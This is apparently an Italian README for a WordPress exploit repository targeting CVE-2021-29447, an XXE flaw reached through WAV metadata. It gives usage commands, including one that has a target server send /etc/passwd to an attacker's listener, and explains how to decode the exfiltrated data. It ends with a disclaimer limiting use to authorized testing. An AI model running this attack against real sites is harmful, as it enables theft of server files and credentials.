
Exploit per CVE-2021-29447, una vulnerabilità XXE in WordPress 5.7.0 e versioni precedenti. Genera payload WAV dannosi per leggere file arbitrari del server tramite iniezione di entità esterne XML. Include un ambiente di test Docker.
Questo repository contiene un exploit per CVE-2021-29447, una vulnerabilità XXE (XML External Entity) presente in WordPress 5.7.0 e versioni precedenti. La vulnerabilità risiede nella libreria multimediale che elabora file WAV, consentendo a un attaccante di leggere file arbitrari dal server.
| File | Descrizione |
|---|---|
CVE-2021-29447.sh | Script di exploit che genera il payload WAV e il file DTD malevolo |
decode.php | Script PHP per decodificare dati esfiltrati (base64 + zlib) |
docker-compose.yml | Ambiente Docker con WordPress vulnerabile per test |
docker-compose up -d
chmod +x CVE-2021-29447.sh
./CVE-2021-29447.sh -l <LHOST> -p <LPORT> -f <file_obiettivo>
Parametri:
-l IP dell'attaccante (LHOST)-p Porta dell'attaccante (LPORT)-f Percorso del file da leggere sul server-h Mostra aiutoEsempio:
./CVE-2021-29447.sh -l 192.168.1.100 -p 4444 -f /etc/passwd
I dati esfiltrati saranno codificati in base64 e compressi con zlib. Per decodificarli:
php decode.php
L'exploit funziona inserendo un'entità esterna XXE nei metadati di un file WAV. Quando WordPress elabora il file, il parser XML risolve l'entità esterna, facendo sì che il server effettui una richiesta HTTP al server dell'attaccante con il contenuto del file codificato nell'URL.
Questo codice è solo a scopo educativo e per test di penetrazione autorizzati. Non utilizzarlo su sistemi senza autorizzazione esplicita.